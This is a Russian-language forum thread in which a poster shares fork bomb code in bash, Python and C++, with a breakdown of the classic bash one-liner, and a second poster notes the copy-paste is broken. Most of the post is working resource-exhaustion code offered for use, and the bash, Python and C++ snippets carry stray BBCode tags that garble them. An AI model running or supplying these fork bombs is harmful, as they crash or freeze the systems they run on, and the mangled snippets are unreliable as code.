Создание Fork Bomb

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by GunQuest, 27 Nov 2019.

  1. GunQuest

    GunQuest New Member

    Joined:
    27 Nov 2019
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Создания Fork Bomb с использованием bash
    В консоли Bash (в Linux-дистрибутивах):
    Code:
    :(){ :|:& };:
    :
    Описание кода:
    :( ) Определяет функцию.
    { Открывает функцию.
    :|: Загружает копию функции «:» в память.
    ‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
    & вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
    } Закрытие функции.
    ; Разделителем команд.
    : Запуск fork bomb
    Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
    Code:
    #!/usr/bin/env bash -x[/B][/COLOR][/FONT]
    [B][FONT=Open Sans][COLOR=rgb(141, 141, 141)]bomb() {
    bomb | bomb &
    };
    bomb


    Форк бомба в Python
    Code:
    import os[/B][/COLOR][/FONT]
    [B][FONT=Open Sans][COLOR=rgb(141, 141, 141)]while True:
    os.fork()


    Fork bomb на c++
    Code:
    #include <unistd.h>[/B][/COLOR][/FONT]
    [B][FONT=Open Sans][COLOR=rgb(141, 141, 141)]int main(void)
    {
    while(1)
    fork();
    }

     
  2. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Не смущает что ваш копипаст кривой?